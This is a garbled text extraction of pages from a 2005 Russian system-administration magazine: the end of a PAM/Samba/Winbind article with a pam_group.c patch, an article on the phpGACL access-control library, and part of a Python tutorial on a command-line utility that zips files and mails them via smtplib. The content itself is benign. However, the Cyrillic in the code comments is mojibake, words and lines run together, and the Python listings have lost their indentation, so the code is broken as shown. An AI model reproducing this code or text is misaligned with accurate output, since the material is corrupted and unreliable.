4. Samba-3 by example. John H. Terpstra, 2004 г.5. SSH Secure Shell for Server version 3.2.9 Administrators

Guide. SSH Communications Secuirty Corp., 2003 г.6. man pam_echo, man pam_group, man pam.conf, man

smb.conf, man pam_winbind, man sshd.conf.

--- pam_group.c.old Tue Dec 14 19:38:56 2004+++ pam_group.c Tue Dec 14 19:38:56 2004@@ -70,7 +70,7 @@

return (PAM_IGNORE);/* get applicant */

- if (pam_get_item(pamh, PAM_RUSER, &ruser) != PAM_SUCCESS+ if (pam_get_item(pamh, PAM_USER, &ruser) != PAM_SUCCESS

|| ruser == NULL || (pwd = getpwnam(ruser)) == NULL)return (PAM_AUTH_ERR);

# authauth required pam_nologin.so no_warnauth sufficient pam_unix.so ↵↵↵↵↵

no_warn try_first_pass nullokauth required pam_group.so ↵↵↵↵↵

group=ntstaffauth required pam_winbind.so ↵↵↵↵↵

use_first_pass

>id user2id: user2: no such user

Page 29: 028 Системный Администратор 03 2005

27№3, март 2005

администрирование

Авторизация, аутентификация – эти проблемы всегда появ-ляются при разработке многопользовательских веб-прило-жений. Для их решения применяются различные механиз-мы, которые давно и хорошо известны. Задача контроля правдоступа несколько сложнее, а её универсальное решение спроизвольным количеством объектов и субъектов, причём спростым управлением вырастает в довольно серьёзную ра-боту. Я не раз и не два наблюдал, как программист создалсобственную систему управления правами, да и сам изоб-рёл пару велосипедов на этом фронте. PhpGACL – это на-бор функций, призванный если и не решить проблему уп-равления правами раз и навсегда, то по крайней мере, зна-чительно её упростить. Он легко встраивается в готовое при-ложение и позволяет реализовать довольно сложную схемуполномочий пользователей. Объектами доступа могут бытьвеб-страницы сайта, базы данных, другие пользователи, хо-сты и т. д. Для установки не требуется ничего, кроме нали-чия реляционной базы данных (PostgreSQL, MySQL, Oracle,Interbase или библиотеки SQLite) и абстрактный класс дос-тупа к базам данных ADOdb.

Для чего нужна системауправления правами?Как пример приложения возьмём веб-интерфейс к клиент-ской базе некого телекоммуникационного предприятия. До-ступ к нему в той или иной степени имеют все сотрудники,с той разницей, что, если такие атрибуты, как ФИО, кон-тактные телефоны, email, общедоступны (на чтение), то сболее конфиденциальной информацией, такой как финан-совая история, технические детали, могут быть ознакомле-ны только те, кто по своим должностным обязанностям име-ют на это право. Изменять наиболее важные сведения (со-стояние лицевого счёта, атрибуты контракта) имеют праволишь несколько сотрудников, несущих ответственность засвои действия. Кроме того, есть ещё индивидуальные роли– секретарь должен иметь доступ к финансовой истории,чтобы отвечать клиентам на претензии, скажем, по поводуприостановки услуги за неуплату, он же должен иметь воз-можность изменять некоторые атрибуты клиента (состоя-ние услуги, или, скажем, ФИО), системному инженеру дол-жна быть доступна возможность менять сетевые парамет-ры и т. д.

Казалось бы, реализовать права доступа не представ-

ляет особо сложной задачи. Формируем пользователей ина каждый объект системы (в данном случае это веб-стра-ницы, но при более высоком уровне абстракции объектамимогут быть и таблицы, и базы данных) устанавливаем пра-ва доступа. В вышеописанном случае сгруппируем эти пра-ва в простенькую таблицу:

Недостатки тут не очевидны, наоборот, при такой схе-ме всё кажется явным и прозрачным.

Проблемы начинаются тогда, когда операции с правамипользователей немного выходят за штатный режим. Допус-тим, менеджер по работе с клиентами увольняется или за-болевает, и его функции (если точнее, его права) необходи-мо срочно передать кому-то другому, в чьи служебные обя-занности они ранее не входили. Причём системного адми-нистратора, который может назначить эти функции, поковы-рявшись в базе данных «отвёрткой», в данный момент нетна месте, да и вообще данное ковыряние – по сути, нештат-ная операция, которая в нормально организованной систе-ме не должна иметь место. Конечно, можно прописать соот-ветствующие права у конкретного объекта доступа, но осо-бенность подобных систем состоит в том, что пользовате-лей (другими словами, субъектов доступа), как правило, го-раздо больше, чем объектов. Причём при вышеописанномматричном подходе (в худшем случае, но случае вполне ре-альном) нам придётся определять права всех пользовате-лей при доступе к каждому конкретному объекту. Конечно,можно ввести права «по умолчанию», но тогда проблемывозникнут при добавлении нового объекта. Ещё одна про-блема заключается в том, что при реальной работе (ну, ска-жем, вышеописанной болезни администратора) бывает так,что права доступа к объектам назначать просто некому. Та-

PhpGACL – СИСТЕМА УПРАВЛЕНИЯ ПРАВАМИPhpGACL – СИСТЕМА УПРАВЛЕНИЯ ПРАВАМИ

КИРИЛЛ СУХОВ

Page 30: 028 Системный Администратор 03 2005

28

администрирование

ким образом, система распределения и управления права-ми должна включать и возможность некоторым категориямпользователей давать права доступа другим. В этом, кста-ти, коренное отличие желаемой логики от логики распреде-ления прав, существующих в современных файловых систе-мах, таких, как NTFS или различные файловые системы *nix.Подход, который использует phpgacl, конечно, не панацея,но довольно эффективен. Он заключается в рассмотрениипользовательских прав не со стороны объектов, а со сторо-ны субъектов доступа. Исчерпывающие примеры, демонст-рирующие её работу, даны в документации, я же сейчас по-пробую рассмотреть несколько упрощённую модель.

Для начала определимся с терминами. В любой системераспределения прав существует, по крайней мере, три по-нятия – это пользователь, запрашивающий доступ, объект,доступ к которому запрашивается, и, собственно, тип досту-па (скажем, чтение или изменение данных). В phpgacl пользо-вателю соответствует определение ACO (Access ControlObjects – Объекты контроля доступа). В данном случае этопросто пользователи системы. Объектам соответствует оп-ределение ARO (Access Request Objects – Объекты запросадоступа), которое включает в себя любые объекты доступа,определяемые приложением.

С третьим пунктом (тип доступа) немного сложнее. Вбазовой модели применения это понятие вообще не пре-дусмотрено, почему – об этом позже. Разумеется, в любойсколько-нибудь сложной системе данная вещь необходи-ма, и в phpgacl она, разумеется, присутствует (AXO – AccesseXtension Objects – Объекты расширения доступа), но при-менение данного средства не всегда нужно, по крайней мере,по двум причинам. Первая и самая очевидная из них – спе-цифика доступа в веб-приложениях. Как правило, на «низ-ком» уровне доступ сводится к предоставлению пользова-телю прав выполнить определённый скрипт. Вторая причи-на состоит в том, что результат проверки доступа, которыйвозвращает система, имеет булевой формат (ALLOW илиDENY) и соответственно тип доступа (если в таковом естьнеобходимость), должен быть так же описан как объект.

Логика работыСразу хочу предупредить (честно говоря, для меня это былокамнем преткновения), что phpgacl не даёт возможностиуказывать права пользователя на конкретные скрипты, веб-страницы или, скажем, таблицы базы данных. Всё, что онаделает, – это управляет логикой распределения прав. Ав-торизацию, аутентификацию, привязку к объектам должновзять на себя ваше приложение. Чтобы получить представ-ление, как именно это можно сделать, советую посмотретьреализацию административных функций в популярной CMS(Content Manager System) Mambo (http://mamboserver.com),где phpgacl встроена в систему и практически нигде явнымобразом не видна, но берёт на себя всю работу распреде-ления прав пользователей.

Основное отличие phpgacl от вышеописанного таблич-ного (матричного) подхода в том, что система описываетструктуру прав «сверху вниз», исходя из субъектов (како-выми в данном случае являются сотрудники). Субъектымогут быть организованы в группы, причём любого уровнявложенности. Права назначаются субъектам и группам и

могут быть переопределены внутри групп. Очень важнопонимать, что проверка прав заключается в возвращениибулевого значения для любого запроса. Как не совсем оче-видное следствие такого подхода – невозможность прямополучить ответ на вопрос вида «кто имеет доступ к изме-нению баланса клиента?» (в отличие от вопроса «Имеет лиВася такой доступ?»). Система смотрит на права с точкизрения субъектов, а не объектов доступа.

ИнсталляцияТребования довольно гуманны. Необходима версия PHP-ин-терпретатора не ниже 4.2.0*, любой веб-сервер с поддерж-кой PHP (настоятельно не рекомендуется только Apache 2.x)и реляционная база данных (декларируется поддержкаMySQL, PostgreSQL, Oracle, Sybase, но ничто не мешает ис-пользовать MSSQL или вообще любую СУБД, которую под-держивает php-расширение adodb. Мне удалось после не-больших изменений работать даже с СУБД cache, но это,разумеется, уже экзотика).

Сначала скачаем архив с библиотекой (адрес http://phpGACL.sourceforge.net) и распакуем его в каталог вашеговеб-приложения. Далее открываем и редактируем файлphpgacl/gacl.class.php. В нём надо определить следующие на-стройки:

Теперь нужно отредактировать phpgacl/admin/gacl_admin.inc.php, продублировав в нём ту же информацию.Этот файл необходим административной части скрипта.Причина, по которой одна и та же информация вводитсядважды, проста – gacl.class.php невелик по размеру и боль-шинстве случаев нет необходимости включать в приложе-ние весь программный интерфейс. (Мне это кажется некото-рой недоработкой, которая, впрочем, легко исправляется).Создаём базу данных с именем, которое мы задали вdb_name и запускаем скрипт http://localhost/phpgacl/setup.php.Он создаст необходимые таблицы в базе данных и в концеработы порадует примерно таким сообщением:

// ïðåôèêñ äëÿ íàèìåíîâàíèÿ òàáëèö â áàçå äàííûõvar $_db_table_prefix = 'galc_';var $_db_type = 'mysql'; // òèï áàçû äàííûõvar $_db_host = 'localhost'; // õîñò áàçû äàííûõvar $_db_user = 'root'; //ïîëüçîâàòåëü áàçû äàííûõvar $_db_password = ''; //ïàðîëü ïîëüçîâàòåëÿvar $_db_name = 'gacl'; //èìÿ áàçû äàííûõ// îáúåêò ADODB database connector (åñëè ADODB// íå èñïîëüçîâàëîñü è íå íàñòðàèâàëîñü, ìîæíî îñòàâèòü// ïóñòûì)var $_db = '';

phpGACL Database Setup

Configuration:

driver = mysql,

host = localhost,

user = root,

database = gacl,

table prefix = galc_

Testing database connection...

Success! Connected to "mysql" database on "localhost".

Testing database type...

Success! Compatible database type "mysql" detected!

Making sure database "gacl" exists...

Success! Good, database "gacl" already exists!

Success! Installation Successful!!!

*IMPORTANT*

Please make sure you create the <phpGACL root>/admin/templates_c directory,

and give it write permissions for the user your web server runs as.

Please read the manual, and docs/examples/* to familiarize yourself with phpGACL.

Let's get started!

Page 31: 028 Системный Администратор 03 2005

29№3, март 2005

администрирование

Как видно из последнего замечания, следует вручнуюсоздать каталог /templates_c в каталоге phpgacl/admin (смыслданного действия, по-видимому, кроется в возможности за-дать права на запись) и перейти по ссылке «Let’s get started!».После этого программа установки выведет отчёт о состоя-нии вашей системы и запросит подтверждения. Немножкоподумав (для виду), можно согласиться. Если все настрой-ки правильны, вы попадаете в интерфейс администраторасистемы, где уже можно начинать работу – создавать груп-пы, пользователей, объекты и разделы. В родном интер-фейсе phpgacl всё довольно понятно, и я бы не хотел долгообъяснять, на какие кнопки нажимать, лучше остановимсяна организации прав доступа.

Для начала разобьём весь персонал компании на вло-женные группы и определим ARO:

Следующим этапом установим права доступа для дей-ствий (то есть ACO) для каждой группы или ARO, входящихв получившееся дерево (в данном случае мы исходим изтого, что по умолчанию доступ куда бы то ни было запре-щён всем).

Данная схема охватывает все права, но совсем не иде-ально построена (напоминает сработанную «на коленке»),но это вполне реальный пример, и далее будем отталки-ваться от него. Теперь рассмотрим любую типовую ситуа-цию. Скажем Андрей, неожиданно (или ожидаемо) взял от-пуск. Костя в силу своей загруженности не может целикомпереложить на себя его обязанности и решает переложитьих на Женю. Коля по каким-то причинам утратил доверие,и было принято решение, что он вполне может справлятьсясо своей работой, без информации о финансовом положе-нии клиента. Более того, решено, что Вася теперь будетиметь доступ к счетам клиентов. Действия по изменениюлогики доступа, несмотря на некоторое несовершенство на-чальной схемы, минимальны. Типовые действия по изме-нению, добавлению прав будут показаны ниже, но в дан-ном случае важна получившаяся диаграмма доступа (а еслиназывать вещи своими именами, ACL – Access Control Listsдерево), она будет выглядеть так:

Сразу скажу, что такой ACL выглядит довольно загру-женно (при небольшом числе субъектов), но phpGacl позво-ляет группировать и комбинировать субъекты, строя скольугодно сложные схемы. Один и тот же ARO может быть чле-ном разных групп, в частности, если в вышеприведённомпримере мы решим дать Васе дополнительные полномо-чия, можно просто добавить его в группу «отдел биллин-га»:

Как это реализовать на программном уровне? Преждевсего следует сказать, что phpGACL идентифицирует каж-дый объект доступа типом объекта (ARO, AXO, ACO) и дву-мя ключевыми словами – именем раздела и значением.Раздел – это заданная пользователем общая категорияобъекта доступа, значение – название для объекта досту-па.

Добавление нового элемента в схему происходит сле-дующим образом:

В данном случае тип объекта понятен из контекста, иего можно опустить. Таким же образом происходит добав-ление объектов других типов.

Уровень APIНа более низком уровне работа приложения с phpgacl про-ходит посредством вызова функций программного интер-фейса.

Вот пример из руководства, реализующий простую про-верку логина и пароля:

Обратите внимание, что здесь используется только одинвызов, а именно функция acl_check(), которая проверяетARO-объект $row['name'] в ARO-разделе «user» и ACO-объект«login» в ACO-разделе «system». Надо отметить, что функ-ции API не входят в официальную документацию, но их опи-сание доступно в каталоге docs/phpdoc/ дистрибутива.

При написании статьи был использован русский переводдокументации phpgacl (http://php.russofile.ru/phpGACL.html),выполненный Кузьмой Феськовым.

Äîáàâëåíèå ARO �Ðàçäåë -> Çíà÷åíèå�:�Billing_group -> Vasya��Managers_group -> Oksana�

// Ïîäêëþ÷àåì áàçîâûé APIinclude('phpgacl/gacl.class.php');$gacl = new gacl();$username = $db->quote($_POST['username']);$password = $db->quote(md5($_POST['password']));$sql = 'SELECT name FROM users WHERE name=';$sql .= $username.' AND password='.$password;$row = $db->GetRow($sql);if($gacl->acl_check('system','login','user',$row['name'])){ $_SESSION['username'] = $row['name']; return true;}else return false;

Page 32: 028 Системный Администратор 03 2005

30

администрирование

Как вы отправляете по электронной почте файл из Windows?Я, например, до недавнего времени делал так: находил нуж-ный файл в дереве каталогов в FAR; набирал в команднойстроке «start .», чтобы открыть каталог в «Проводнике»;щелкал по файлу правой кнопкой мыши, выбирал «Add toarchive…»; затем щелкал по полученному файлу архива ивыбирал «Отправить →→→→→ Адресат»… В общем, долго и уто-

мительно. Теперь я делаю это из FAR командной строкойтакого вида:

По заголовку статьи вы уже поняли, что такого счастьяудалось достичь благодаря языку Python, и здесь доста-

ПРАКТИКУМ Python:

СЕРГЕЙ СУПРУНОВ

C:\Temp>send to me file �Ãîäîâîé îò÷åò.doc� as year2004.zip

ОТПРАВКА ФАЙЛОВ ПО ЭЛЕКТРОННОЙ ПОЧТЕ

Page 33: 028 Системный Администратор 03 2005

31№3, март 2005

администрирование

точно подробно описываются предпринятые для этого шаги.Цель статьи, как обычно, не в описании готового решениядля «copy – paste», а в том, чтобы показать пути решенияподобных задач.

Итак, с чем нам предстоит столкнуться. Прежде всегопознакомимся с использованием модуля smtplib, входяще-го в стандартную библиотеку Python, и нужного нам дляформирования текста почтового сообщения и собственнодля отправки. Вспомним, как работать с zip-архивами. Ну ипопутно решим некоторые проблемы с кодировками, тра-диционно присущие Windows.

Начнем с главного сценария – send.py:

В приведенном фрагменте подключаются нужные нам мо-дули. Из них sys, os и glob входят в стандартную библиотекуPython, myzip – слегка модифицированный вариант модуля,который был разработан ранее для операций упаковки фай-лов (см. статью «Автоматизируем FTP с помощью Python»,журнал «Системный администратор» №12, декабрь 2004 г.),а остальные будут рассмотрены в процессе работы.

Чтобы созданные наработки было удобнее использоватьв дальнейшем, оформим функции нашего сценария каккласс pyma. Этот класс я приведу полностью, снабжая ком-ментариями наиболее интересные моменты. Ниже будутданы еще некоторые пояснения.

То есть этот модуль обеспечивает лишь разбор строкипараметров, а сами функции отправки и упаковки разме-щены в других модулях. Обратите внимание на конструк-

Ëèñòèíã 1. Íà÷àëî ñöåíàðèÿ send.py# -*- coding: cp1251 -*-########################################################## Utility for send files by e-mail from command line#--------------------------------------------------------# Usage:# send to <addr> files <file1[ file2...]> [(nonzipped | as <zip>)]#########################################################import sys, os, glob, myzip, pymaconffrom mystd import mystdin, mystdoutfrom pysender import pysender

Ëèñòèíã 2. Ñåðåäèíà ñöåíàðèÿ send.py (êëàññ pyma)classpyma:# ôóíêöèÿ èíèöèàëèçàöèè � ââîäèì ïåðåìåííûå,# êîòîðûì íóæíî çàäàòü çíà÷åíèÿ ïî óìîë÷àíèþ

def __init__(self):self.FLG_NZ = False # áóäåì ëè óïàêîâûâàòü ôàéëûself.ZIPNAME = '' # èìÿ zip-àðõèâà

# Ôóíêöèÿ ðàçáîðà ïàðàìåòðîâ, ââåäåííûõ â êîìàíäíîé ñòðîêådef parseParameters(self, *argv):

STOP = 0# äîëæíî áûòü íå ìåíåå 5 ïàðàìåòðîâiflen(argv) < 5:

self.Usage() # (èìÿ ïðîãðàììû + åùå 4)# 1-é îáÿçàòåëüíî «to»if argv[1][:2] != 'to':

self.Usage()# 3-é îáÿçàòåëüíî «fi[les]»if argv[3][:2] != 'fi':

self.Usage()self.TO = self.getaddrbyalias(argv[2])# åñëè ïîñëåäíèé ïàðàìåòð íà÷èíàåòñÿifargv[-1][:2] == 'no':

# ñ «no», íå óïàêîâûâàòüself.FLG_NZ = TrueSTOP = -1

# åñëè ïðåäïîñëåäíèé � «as»elif argv[-2][:2] == 'as':

# òî ïîñëåäíèé � èìÿ àðõèâàself.ZIPNAME = argv[-1]STOP = -2

# èíà÷å èìÿ àðõèâà � ïî 1-ìó ôàéëóelse:

self.ZIPNAME = zn = argv[4]if zn.find('*') > -1 or zn.find('?') > -1:

self.ZIPNAME = 'archive.zip'self.ZIPNAME = Unicode(self.ZIPNAME,

pymaconf.fsyscodepage).encode ↵↵↵↵↵(pymaconf.fzipcodepage)

if self.ZIPNAME[-4:] != '.zip':self.ZIPNAME = self.ZIPNAME + '.zip'

# âñå îñòàëüíûå ïàðàìåòðû � øàáëîíû ôàéëîâifSTOP:

files = argv[4:STOP]else:

files = argv[4:]if not files:

self.Usage()# ôîðìèðóåì ñïèñîê ôàéëîâ ïî øàáëîíàìself.FILELIST = []for pattern in files:

tmplist = glob.glob(pattern)for file in tmplist:

if os.path.isfile(file):self.FILELIST.append(file)

if not self.FILELIST:print '\nERROR: no files found.'self.Usage()

# åñëè íóæíî � çàïðîñ òåìûif pymaconf.promptsubj:

tmp = raw_input('Subject: ')if tmp:

pymaconf.defsubject = tmpprint

# åñëè íóæíî � çàïðîñ ñîîáùåíèÿifpymaconf.promptmess:

tmp = raw_input('Message: ')if tmp:

pymaconf.defmessage = tmpprint

# Ôóíêöèÿ îïðåäåëåíèÿ ïîëíîãî àäðåñà ïî ïñåâäîíèìódef getaddrbyalias(self, addr):

abf = os.path.dirname(__file__) + ↵↵↵↵↵os.path.sep + 'addrbook.ab'

ab = open(abf, 'r').readlines()aliases = {}for line in ab:

alias, fulladdr = line.split()aliases[alias] = fulladdr

try:fulladdr = aliases[addr]

except:fulladdr= addr

return fulladdr# Ôóíêöèÿ ôîðìèðîâàíèÿ è îòïðàâêè ñîîáùåíèÿ

def sendmail(self):self.parseParameters(*sys.argv)ifself.FLG_NZ:# åñëè íå óïàêîâûâàòü � îòïðàâêà ôàéëîâ ïî ñïèñêó

pysender().sendfiles(self.TO, ↵↵↵↵↵self.FILELIST)

else:# èíà÷å óïàêîâûâàåì ïî ñïèñêó è îòïðàâëÿåì àðõèâ

myzip.writepattzip(self.ZIPNAME, ↵↵↵↵↵self.FILELIST)

pysender().sendfiles(self.TO, ↵↵↵↵↵(self.ZIPNAME,))

os.remove(self.ZIPNAME)# Ôóíêöèÿ âûâîäà ñîîáùåíèÿ î ïðàâèëüíîì ñèíòàêñèñå

def Usage(self):print '''

Utility for send files by e-mail from command lineUsage: send to <addr> files <file1[ file2...]> ↵↵↵↵↵

[(nonzipped | as <zip>)]'''sys.exit()

Page 34: 028 Системный Администратор 03 2005

32

администрирование

ции вида «argv[-2][:2]». Они используются для того, чтобы впараметрах командной строки значащими были только пер-вые два символа. Операция [m:n], называемая срезом, по-зволяет извлечь из массива «подмассив» начиная с эле-мента m до элемента n, не включая последний. Если m илиn пропущено, подразумевается «с начала массива» или «доконца массива» соответственно.

Текстовая строка может рассматриваться как массиводиночных символов. Благодаря этому ключ «files» можнозаписать и как «file», что более логично при отправке одно-го файла, и даже как «fi». Аналогично ключ «nonzipped»можно сокращать вплоть до «no».

Конечно, можно было бы использовать более традици-онный синтаксис командной строки, но такая запись вос-принимается и запоминается лучше. Сравните, например,две команды:

Лично мне больше нравится вторая, хотя она и сложнеев разборе.

Последний отрывок файла send.py приведен ниже, нобольшую часть происходящего в нем я поясню немного поз-же. На данный момент достаточно знать, что он просто вы-зывает функцию отправки сообщения.

На этом send.py завершается. Должно быть, вы уже за-метили, что нигде не видно ни адреса отправителя, ни па-раметров smtp-сервера, через который выполняется отправ-ка. Конечно, все это присутствует, но вынесено в конфигу-рационный файл pymaconf.py, представленный ниже:

Собственно, здесь нет ничего интересного – просто оп-ределяется ряд переменных, которые будут использовать-ся в дальнейшем. Если ваш smtp-сервер требует авториза-цию, установите переменную authrequire в 1 и заполнитезначения authlogin и authpassword. В данной программепароль хранится в открытом виде, поэтому если доступ квашей машине достаточно «либеральный», следует позабо-титься о защите этой информации. Переменные promptsubjи promptmess определяют, должен ли выдаваться запросна ввод темы и тела письма или следует просто подстав-лять значения, определенные по умолчанию.

Функция sendmail() класса pyma вызывает разбор ко-мандной строки, выделяя адрес получателя, список фай-лов для отправки и ключи, определяющие параметры упа-ковки. Функция getaddrbyalias() возвращает полный адреспо указанному в командной строке псевдониму. Если соот-ветствие не найдено, возвращается адрес, введенный в ко-мандной строке. Сам файл addrbook.ab выглядит пример-но так:

То есть если указать «to me», почта будет отправленана адрес [email protected], как если бы было указано «[email protected]».

Обратите внимание на конструкцию, с помощью кото-рой определяется полный путь к файлу адресной книги:

Поскольку нужно, чтобы утилиту отправки можно былозапускать из любого каталога, и именно там Python будетискать файлы, указанные без пути, то нам нужно «привя-заться» к месту размещения файла send.py. Встроеннаяпеременная __file__ возвращает полное имя модуля, из ко-торого она вызывается. Функция dirname() модуля os.pathвырезает из полного имени файла имя каталога. Ну и что-бы обеспечить переносимость между различными опера-ционными системами вместо явного указания слеша дляотделения каталога от имени файла используем перемен-ную os.path.sep, которая возвращает прямой слеш «/» насистемах UNIX и обратный «\» в Windows.

Вернемся к функции sendmail(). Если в командной стро-ке определен ключ «nonzipped», то в процессе ее разборафункцией parseParameters() переменная FLG_NZ получитистинное значение. При этом весь список файлов, поме-щенный в переменную FILELIST, отправляется непосред-ственно в функцию sendfiles() модуля pysender (которыйбудет рассмотрен далее). Если же требуется упаковка, чтоявляется поведением по умолчанию, то список файлов от-дается на обработку функции writepattzip() модуля myzip,который был разработан ранее для графической утилиты

send�t [email protected] �f report.txt �z rep2.zipsend to [email protected] file report.txt as rep2.zip

Ëèñòèíã 3. Êîíåö ñöåíàðèÿ send.pyif __name__ == '__main__':

mo = mystdout()mi = mystdin()mo.setmystdout()mi.setmystdin()nc = pyma()nc.sendmail()mo.setorigin()mi.setorigin()

Ëèñòèíã 4. Êîíôèãóðàöèîííûé ñöåíàðèé pymaconf.py# -*- coding: cp1251 -*-# Èìÿ smtp-ñåðâåðàsmtpserver = 'my.server.ru'# Ïàðàìåòðû smtp-àâòîðèçàöèèauthrequire = 0authlogin = ''authpassword = ''# Àäðåñ îòïðàâèòåëÿfromaddr = '[email protected]'# Çàïðàøèâàòü ëè òåìó ñîîáùåíèÿpromptsubj = 1# Òåìà ñîîáùåíèÿ ïî óìîë÷àíèþdefsubject = 'Îòïðàâêà ôàéëà'# Çàïðàøèâàòü ëè òåêñò ïèñüìàpromptmess = 1# Òåêñò ïèñüìà ïî óìîë÷àíèþdefmessage = 'Îòïðàâêà ôàéëà\n\n\t-= pyma v.0.1 =-'# Îòïðàâëÿòü ëè êîïèè ïèñåì íà óêàçàííûé àäðåñbackmail = 1backaddr = '[email protected]'

# Ïàðàìåòðû ïåðåêîäèðîâîêbasecodepage = 'cp1251' # òåêñò â èñõîäíèêàõtermcodepage = 'cp866' # òåðìèíàë (ââîä-âûâîä)mailcodepage = 'cp1251' # êîäèðîâêà ïèñåìfsyscodepage = 'cp1251' # êîäèðîâêà èìåí ôàéëîâ

# â ñèñòåìåfzipcodepage = 'cp1251' # êîäèðîâêà èìåíè

# zip-àðõèâà

buh [email protected] [email protected].. .. ..

abf = os.path.dirname(__file__) + os.path.sep + 'addrbook.ab'

Page 35: 028 Системный Администратор 03 2005

33№3, март 2005

администрирование

отправки файлов по FTP. Здесь мы не будем к нему воз-вращаться, код этого модуля, как и всех остальных, можнобудет скачать с сайта журнала: http://samag.ru/source. Пос-ле упаковки функция sendfiles() получает имя созданногоархива. Как только отправка завершится, zip-файл будетудален.

Вся основная работа выполняется функцией sendfiles()модуля pysender. Ниже представлен этот модуль:

Центральной частью описанного здесь класса являютсяшаблоны сообщений messagepart и attachpart. В них широкоприменяется использование знакомест вида %(key)s, кото-рые заполняются значениями, соответствующими ключамиз словаря, указываемого после оператора «%». Например,строка param[‘message’] будет помещена в шаблон вместоконструкции %(message)s.

Шаблоны описывают вид сообщения в формате MIME.Для упрощения работы все, включая тело сообщения, мыкодируем в соответствии с Base64, для чего используетсяфункция encodestring() класса smtp.base64. Каждое вложе-ние также преобразовывается согласно Base64 и оформ-ляется как mime-часть сообщения. Для определения mime-типа файла по его расширению используется файл соот-ветствия mime.types, в качестве которого выступает слег-ка откорректированный одноименный файл, поставляемыйвместе с Apache.

Главное, что нужно в нем сделать, – разбить строки, вкоторых одному mime-типу ставятся в соответствие несколь-ко расширений, таким образом, чтобы в каждой строкефигурировало только одно расширение. Комментарии истроки без расширений удаляются. Файл, который исполь-зую я, можно будет найти на сайте журнала в разделе «Ис-ходный код». Если определить mime-тип не удалось, исполь-зуется значение «application/octet-stream».

Ëèñòèíã 5. Ìîäóëü pysender.py# -*- coding: cp1251 -*-import os, smtplib, pymaconf, pymalogclass pysender: # Ôóíêöèÿ èíèöèàëèçàöèè

def __init__(self):# Ðàçáèðàåì ôàéë mime-òèïîâ.

mtf = os.path.dirname(__file__) + ↵↵↵↵↵os.path.sep + 'mime.types'

mt = open(mtf, 'r').readlines()self.mimetypes = {}for line in mt:

mimetype, mimeext = line[:-1].split()self.mimetypes[mimeext] = mimetype

# Øàáëîí çàãîëîâêà ïèñüìà, âêëþ÷àÿ òåëî ïèñüìàmessagepart = '''From: %(fromaddr)s

To: %(toaddr)sSubject: %(subject)sX-Mailer: PyMa 0.1MIME-Version: 1.0Content-Type: multipart/mixed; boundary="%(boundary)s"This is a multi-part message in MIME format.--%(boundary)sContent-Type: text/plain; charset="%(codepage)s"Content-Transfer-Encoding: Base64%(message)s'''

# Øàáëîí âëîæåíèÿ â ïèñüìåattachpart = '''--%(boundary)s

Content-Type: %(mimetype)s; name="%(filename)s"Content-Transfer-Encoding: base64Content-Disposition: attachment; filename="%(filename)s"%(mimed)s'''

# Ôóíêöèÿ âîçâðàùàåò mime-òèï ïî ðàñøèðåíèþ ôàéëà# Èñïîëüçóåòñÿ ñëîâàðü, ñôîðìèðîâàííûé âî âðåìÿ# èíèöèàëèçàöèè êëàññà

def getmimetypebyext(self, ext):try:

mt = self.mimetypes[ext]except:

mt = 'application/octet-stream'return mt

# Ôóíêöèÿ ôîðìèðóåò ñîîáùåíèå è îòïðàâëÿåò åãîdef sendfiles(self, toaddr, filelist):# çàïîëíÿåì ñëîâàðü ïàðàìåòðîâ, èñïîëüçóåìûõ â øàáëîíå

param = {}param['boundary'] = ↵↵↵↵↵

'-=-=_BOUNDARY_adba_YRADNUOB_=-=-'param['fromaddr'] = pymaconf.fromaddrif pymaconf.backmail and pymaconf.backaddr:

param['toaddr'] = toaddr + ↵↵↵↵↵'\nBcc: ' + pymaconf.backaddr

envtoaddr = [toaddr]envtoaddr.append(pymaconf.backaddr)

else:param['toaddr'] = toaddrenvtoaddr = [toaddr]

param['subject'] = pymaconf.defsubjectparam['message'] = pymaconf.defmessage

param['codepage'] = pymaconf.mailcodepageparam['message'] = smtplib.base64. ↵↵↵↵↵

encodestring(param['message'])msg= self.messagepart % param

# äëÿ êàæäîãî ôàéëà èç ñïèñêà ôîðìèðóåì# ÷àñòü ñîîáùåíèÿ, îáúÿâëÿþùåãî âëîæåíèå

files = ''print 'pysender: MIME-ïðåîáðàçîâàíèå âëîæåíèé:'for filename in filelist:

files += filename + ','param['filename'] = filenamebase, ext = os.path.splitext(filename)param['mimetype'] = ↵↵↵↵↵

self.getmimetypebyext(ext[1:])print 'pysender: + %s...' % filenameist = open(filename, 'rb').read()param['mimed'] = smtplib. ↵↵↵↵↵

base64.encodestring(ist)msg = msg + (self.attachpart % param)

# îòïðàâêà ñîîáùåíèÿprint 'pysender: ñîåäèíåíèå ñ %s...' % ↵↵↵↵↵

pymaconf.smtpservertry:

session = smtplib. ↵↵↵↵↵SMTP(pymaconf.smtpserver)

if pymaconf.authrequire:session.login ↵↵↵↵↵

(pymaconf.authlogin,pymaconf. ↵↵↵↵↵

authpassword)print 'pysender: ↵↵↵↵↵

âûïîëíÿåòñÿ îòïðàâêà...'session.sendmail(pymaconf.fromaddr, ↵↵↵↵↵

envtoaddr, msg)print 'pysender: îòïðàâêà çàâåðøåíà.'session.quit()pymalog.write('SENT: %s to %s' % ↵↵↵↵↵

(files, toaddr))except:

print 'pysender: ÎØÈÁÊÀ ÎÒÏÐÀÂÊÈ.'pymalog.write('ERROR: %s to %s' % ↵↵↵↵↵

(files, toaddr))

Page 36: 028 Системный Администратор 03 2005

34

администрирование

После того как будет сформировано сообщение нужно-го формата, оно отправляется адресату с помощью функ-ции sendmail() стандартного модуля smtplib. Помимо текстасообщения ей передаются адреса отправителя и получате-ля для формирования конверта. Если в конфигурационномфайле включен режим отправки копий всех писем на ука-занный адрес (что может быть полезно как для контроля,так и в качестве плохонькой, но все же замены папки «От-правленные»), то к адресу получателя добавляется и ука-занный в pymaconf.py. Функция write() модуля pymalog за-носит в лог-файл сообщение о результате отправки пись-ма, чтобы в дальнейшем можно было отследить, что, когдаи куда отправлялось. Сам модуль pymalog.py:

Все. Можно вводить заветную командную строку и смот-реть, что получилось. А получились две неприятности, с ко-торыми нам предстоит побороться. Первая – наш код запи-сан в cp1251, а FAR выводит строки в cp866. В итоге весьвывод, который происходит во время работы утилиты, име-ет нечитаемый вид. Если переписать код в cp866, то текстсообщений будет выглядеть нормально, но нечитаемыми ста-нут имена файлов, имеющие символы кириллицы (Windowsиспользует для именования файлов cp1251). Наверняка ука-занную проблему можно было бы обойти проще, чем этосделал я, но использованное решение может быть примене-но в других случаях, а потому представляет определеннуюучебную ценность. Мы переопределим стандартные потокиввода-вывода. Для этого напишем еще один модуль,mystd.py:

